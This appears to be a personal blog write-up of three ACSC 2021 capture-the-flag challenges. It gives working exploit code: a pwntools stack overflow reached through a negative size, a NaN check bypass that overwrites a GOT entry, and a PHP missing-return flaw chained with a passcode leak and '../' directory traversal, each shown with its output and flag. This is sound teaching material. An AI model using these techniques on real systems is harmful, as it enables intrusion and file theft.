I played Asian Cyber Security Challenge (ACSC) last week, get 102th place!

image1

Here are some of my writeups

Challenges

filtered (pwn-100)

image2

Challenge files

We get a ELF executable file filtered and its source code in C filtered.c

Running checksec to check the binary security:

checksec filtered
[*] '/home/hong/hong5489.github.io/uploads/acsc2021/filtered'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

No canary means we are able to overflow the buffer easily, no PIE means no ASLR (address static)

Lets see the main function:

/* Entry point! */
int main() {
  int length;
  char buf[0x100];

  /* Read and check length */
  length = readint("Size: ");
  if (length > 0x100) {
    print("Buffer overflow detected!\n");
    exit(1);
  }

  /* Read data */
  readline("Data: ", buf, length);
  print("Bye!\n");

  return 0;
}

We can see it get user input for buffer size and check if the length is > 0x100

But notice it never check for negative value! This may cause buffer overflow!

Saw a win function, that means we need to overflow it and call win function:

/* Call this function! */
void win(void) {
  char *args[] = {"/bin/sh", NULL};
  execve(args[0], args, NULL);
  exit(0);
}

Exploit

We can enter negative size and try overflow it:

python3 -c "print('-1\n'+'a'*0x200)" | ./filtered
Size: Data: Bye!
Segmentation fault

It overflowed!! Lets find the offset of the return pointer:

python3 -c "print('-1\n'+'a'*0x108)" | ./filtered
Size: Data: Bye!
python3 -c "print('-1\n'+'a'*0x116)" | ./filtered
Size: Data: Bye!
python3 -c "print('-1\n'+'a'*0x124)" | ./filtered
Size: Data: Bye!
Segmentation fault

We can see it overflow when we put 0x124 characters, so our offset is between 0x116 to 0x124

When I put 0x119 we can see it overflow the first byte of return pointer (61), can check it with dmesg | grep filtered:

dmesg | grep filtered
[ 8124.891776] filtered[2910]: segfault at 7fc3a0630061 ip 00007fc3a0630061 sp 00007ffd425a18a0 error 15 in libc-2.31.so[7fc3a0612000+25000]

Therefore the offset is 0x118

Write a simple exploit using Pwntools:

from pwn import *
elf = ELF("./filtered")
p = elf.process()
win = elf.symbols['win']
p.sendlineafter("Size: ",b'-1')
p.sendlineafter("Data: ",b'a'*0x118+p64(win))
p.interactive()

Can see it works!

 python3 solve.py
[*] '/home/hong/hong5489.github.io/uploads/acsc2021/filtered'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/hong/hong5489.github.io/uploads/acsc2021/filtered': pid 2798
[*] Switching to interactive mode
Bye!
$ ls
filtered  filtered.c  image1.png  image2.png  solve.py
$

Try it in the real server:

from pwn import *
elf = ELF("./filtered")
# p = elf.process()
p = remote('filtered.chal.acsc.asia' ,9001)
win = elf.symbols['win']
p.sendlineafter("Size: ",b'-1')
p.sendlineafter("Data: ",b'a'*0x118+p64(win))
p.interactive()

It works like charm!!

python3 solve.py
[*] '/home/hong/hong5489.github.io/uploads/acsc2021/filtered'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to filtered.chal.acsc.asia on port 9001: Done
[*] Switching to interactive mode
Bye!
$ ls
filtered
flag-08d995360bfb36072f5b6aedcc801cd7.txt
$ cat flag-08d995360bfb36072f5b6aedcc801cd7.txt
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
$

Full python script


histogram (pwn-200)

image3

Challenge files

We get a ELF executable histogram.bin and the source code histogram.c

We need to submit a CSV file in a website:

histogram

Same running checksec to check the binary security:

[*] '/home/hong/ctf/acsc/histogram/distfiles/histogram.bin'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Partial RELRO and PIE is disable, means we probably need to overwrite GOT address

Lets see the main function:

int main(int argc, char **argv) {
  if (argc < 2)
    fatal("No input file");

  /* Open CSV */
  FILE *fp = fopen(argv[1], "r");
  if (fp == NULL)
    fatal("Cannot open the file");

  /* Read data from the file */
  int n = 0;
  while (read_data(fp) == 0)
    if (++n > SHRT_MAX)
      fatal("Too many input");

  /* Show result */
  printf("{\"status\":\"success\",\"result\":{\"wsum\":");
  json_print_array(wsum, WSIZE);
  printf(",\"hsum\":");
  json_print_array(hsum, HSIZE);
  printf(",\"map\":[");
  for (short i = 0; i < WSIZE; i++) {
    json_print_array(map[i], HSIZE);
    if (i != WSIZE-1) putchar(',');
  }
  printf("]}}");

  fclose(fp);
  return 0;
}

As you can see, it take an argument from command line and read it as a file and pass into read_data function

Lets see the read_data function:

int read_data(FILE *fp) {
  /* Read data */
  double weight, height;
  int n = fscanf(fp, "%lf,%lf", &weight, &height);
  if (n == -1)
    return 1; /* End of data */
  else if (n != 2)
    fatal("Invalid input");

  /* Validate input */
  if (weight < 1.0 || weight >= WEIGHT_MAX)
    fatal("Invalid weight");
  if (height < 1.0 || height >= HEIGHT_MAX)
    fatal("Invalid height");

  /* Store to map */
  short i, j;
  i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
  j = (short)ceil(height / HEIGHT_STRIDE) - 1;
  
  map[i][j]++;
  wsum[i]++;
  hsum[j]++;

  return 0;
}

It read our input as two float values, like 1.0,1.0 then store it at weight, height variable

double weight, height;
int n = fscanf(fp, "%lf,%lf", &weight, &height);

Then it validates our input see if too low or too high

/* Validate input */
if (weight < 1.0 || weight >= WEIGHT_MAX)
	fatal("Invalid weight");
if (height < 1.0 || height >= HEIGHT_MAX)
	fatal("Invalid height");

After that it calculate the index based on the weight and height and add one to three arrays:

/* Store to map */
short i, j;
i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
j = (short)ceil(height / HEIGHT_STRIDE) - 1;

map[i][j]++;
wsum[i]++;
hsum[j]++;

It provide a sample.csv to let us run it:

./histogram.bin sample.csv
{"status":"success","result":{"wsum":[0,0,0,90,300,180,60,60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"hsum":[0,0,0,0,0,0,0,0,0,0,0,0,30,0,150,300,150,30,30,0,0,0,0,0,0,0,0,0,0,0],"map":[[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,30,0,60,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,90,210,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,90,90,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,60,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,30,30,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]]}}

Testing

Same as the previous challenge, this also have a win function:

/* Call this function to get the flag! */
void win(void) {
  char flag[0x100];
  FILE *fp = fopen("flag.txt", "r");
  int n = fread(flag, 1, sizeof(flag), fp);
  printf("%s", flag);
  exit(0);
}

This means we have to somehow bypass the validate check in read_data, overwrite one GOT address to call win function

But how to bypass it? Maybe it has an edge case which can bypass the check, otherwise there is no way we can overwrite GOT address

I tested many case like minimum and maximum float value , inf, -inf just did not work..

But when I test NaN it bypass the check!

cat test.csv
NaN,10
./histogram.bin test.csv
{"status":"success","result":{"wsum":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"hsum":[1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"map":[[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,
...
...

NaN is (Not a number), when comparing NaN it just return False stated in Wikipedia

Exploit

Find the possible GOT address to overwrite

First we need to check where it overwrite first, set a breakpoint GDB before map is added

image4

You can see it overwrite the GOT of fread (0x404028)

pwndbg> x 0x404028
0x404028 <fread@got.plt>:       0x00401050

We can choose other good address to overwrite like fclose, because it call at the end of main function

int main(int argc, char **argv) {
  ...
  ...
  printf("]}}");

  fclose(fp);
  return 0;
}
pwndbg> got

GOT protection: Partial RELRO | GOT functions: 9

[0x404018] putchar@GLIBC_2.2.5 -> 0x401030 ◂— endbr64
[0x404020] __isoc99_fscanf@GLIBC_2.7 -> 0x7ffff7ce3320 (__isoc99_fscanf) ◂— endbr64
[0x404028] fread@GLIBC_2.2.5 -> 0x401050 ◂— endbr64
[0x404030] fclose@GLIBC_2.2.5 -> 0x401060 ◂— endbr64
[0x404038] __stack_chk_fail@GLIBC_2.4 -> 0x401070 ◂— endbr64
[0x404040] printf@GLIBC_2.2.5 -> 0x401080 ◂— endbr64
[0x404048] fopen@GLIBC_2.2.5 -> 0x7ffff7d02a90 (fopen64) ◂— endbr64
[0x404050] exit@GLIBC_2.2.5 -> 0x4010a0 ◂— endbr64
[0x404058] ceil@GLIBC_2.2.5 -> 0x7ffff7ef1c80 (__ceil_sse41) ◂— endbr64

Can see fclose just below fread, let’s try change our height from 10 to 20:

NaN,20

Run again it overwrite 0x40402c which is 4 address above

 ► 0x401448 <read_data+346>    mov    dword ptr [rdx + rax], esi    <0x40402c>

Change to 30 and run it again, can see it overwrite the fclose GOT address!

 ► 0x401448 <read_data+346>    mov    dword ptr [rdx + rax], esi    <0x404030>

How much to overwrite

You can see the fclose GOT value (PLT address) is 0x401060 and win locate at 0x401268

pwndbg> x 0x404030
0x404030 <fclose@got.plt>:      0x00401060
pwndbg> x win
0x401268 <win>: 0xfa1e0ff3
pwndbg> print 0x401268-0x401060
$2 = 520

Therefore, we just need to add 520 times to the fclose GOT address (0x401268-0x401060=520)

Solving

Now we got all the things we need let’s exploit it!

Wrote a simple python script using requests:

import requests
url = "https://histogram.chal.acsc.asia/api/histogram"
r = requests.post(url, files={'csv': "nan,30\n"*520},verify=False)
print(r.text)
# {"status":"success","result":{"wsum":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"hsum":[0,0,520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],"map":[[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,...,520]]}}ACSC{NaN_demo_iiyo}

And got the flag!! Most interesting pwn challenge I ever solve!

Flag

ACSC{NaN_demo_iiyo}

API (web-220)

image5

Challenge files

We are given an URL and the website source code

Goto the URL look like this:

API

By viewing the source code, we know got 3 different page which is signin.html, signup.html and admin.html

admin.html is just one line of html

<h1 style='text-align: center;'>Admin page is still under construction..</h1>

Tried to sign up but it says Failed to join let’s investigate the source code

Analyse

Inside api.php notice it get parameter of id and pw and pass to main function:

<?php
require dirname(__FILE__).DIRECTORY_SEPARATOR."lib/config.php";
require dirname(__FILE__).DIRECTORY_SEPARATOR."lib/User.class.php";
require dirname(__FILE__).DIRECTORY_SEPARATOR."lib/Admin.class.php";
require dirname(__FILE__).DIRECTORY_SEPARATOR."lib/functions.php";

$id = $_REQUEST['id'];
$pw = $_REQUEST['pw'];
$acc = [$id, $pw];
main($acc);

The main function is at functions.php:

function main($acc){
	gen_user_db($acc);
	gen_pass_db();
	header("Content-Type: application/json");
	$user = new User($acc);
	$cmd = $_REQUEST['c'];
	usleep(500000);
	switch($cmd){
		case 'i':
			if (!$user->signin())
				echo "Wrong Username or Password.\n\n";
			break;
		case 'u':
			if ($user->signup())
				echo "Register Success!\n\n";
			else
				echo "Failed to join\n\n";
			break;
		case 'o':
			if ($user->signout())
				echo "Logout Success!\n\n";
			else
				echo "Failed to sign out..\n\n";
			break;
	}
	challenge($user);
}

Here can see the signup function is at user class

public function signup(){
	if (!preg_match("/^[A-Z][0-9a-z]{3,15}$/", $this->acc[0])) return false;
	if (!preg_match("/^[A-Z][0-9A-Za-z]{8,15}$/", $this->acc[1])) return false;
	$data = $this->load_db();
	for($i = 0; $i < count($data); $i++){
		if ($data[$i][0] == $this->acc[0]) return false;
	}
	file_put_contents($this->db['path'], $this->db['fmt'], FILE_APPEND);
	return true;
}

Here we can see when sign up, our username and password must match the regex statement

For username:

  1. First character must be uppercase letter
  2. After that number or lowercase letter at least 3 character

For password:

  1. First character must be uppercase letter
  2. After that number or alphabet at least 8 character

Then I tried registered with Anonymous for both and it success!

image6

But when I sign in it say only admin can access =(

image7

After that, I track the request using Burp Suite (Best software for investigate request):

image8

Can see it just redirect me to the same page

In functions.php inside challenge function, can see where it return access denied

function challenge($obj){
	if ($obj->is_login()) {
		$admin = new Admin();
		if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
		$cmd = $_REQUEST['c2'];
		if ($cmd) {
			switch($cmd){
				case "gu":
					echo json_encode($admin->export_users());
					break;
				case "gd":
					echo json_encode($admin->export_db($_REQUEST['db']));
					break;
				case "gp":
					echo json_encode($admin->get_pass());
					break;
				case "cf":
					echo json_encode($admin->compare_flag($_REQUEST['flag']));
					break;
			}
		}
	}
}

But notice it did not put a return after the redirect:

if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');

The code will continue to get c2 parameter and switch statement:

$cmd = $_REQUEST['c2'];
if ($cmd) {
	switch($cmd){
		case "gu":
			echo json_encode($admin->export_users());
			break;
		case "gd":
			echo json_encode($admin->export_db($_REQUEST['db']));
			break;
		case "gp":
			echo json_encode($admin->get_pass());
			break;
		case "cf":
			echo json_encode($admin->compare_flag($_REQUEST['flag']));
			break;
	}
}

That means we are able the access the admin function even we are not admin!

Exploit

It’s try to exploit it, add a c2=gu parameter. It success but it require passcode

image9

By viewing Admin.class.php, we can see it validates our pas parameter with get_pass function:

public function is_pass_correct(){
	$passcode = $this->get_pass();
	$input = $_REQUEST['pas'];
	if ($input == $passcode) return true;
}

And most importantly, we are able to call get_pass by adding c2=gp according to the code:

case "gp":
	echo json_encode($admin->get_pass());
	break;

Can see it return :<vNk in the response:

image10

After we add the pas=:<vNk, we are able to access other functions:

image11

Solving

The export_db function seems suspicious:

public function export_db($file){
	if ($this->is_pass_correct()) {
		$path = dirname(__FILE__).DIRECTORY_SEPARATOR;
		$path .= "db".DIRECTORY_SEPARATOR;
		$path .= $file;
		$data = file_get_contents($path);
		$data = explode(',', $data);
		$arr = [];
		for($i = 0; $i < count($data); $i++){
			$arr[] = explode('|', $data[$i]);
		}
		return $arr;
	}else 
		return "The passcode does not equal with your input.";
}

Notice it not validate our file input, which make this vulnerable to the Directory Traversal Attack

Because it just append our input with the path like path/input

Which means we can use many ../../../../ to get our flag locate at /flag

By change c2=db and adding db=../../../../../../../../flag we are able to the the flag!!

image12

Easy and nice challenge!

Flag

ACSC{it_is_hard_to_name_a_flag..isn't_it?}

Conclusion

Overall it’s a great CTF, some nice and easy but some challenges quite hard for me like the crypto challenges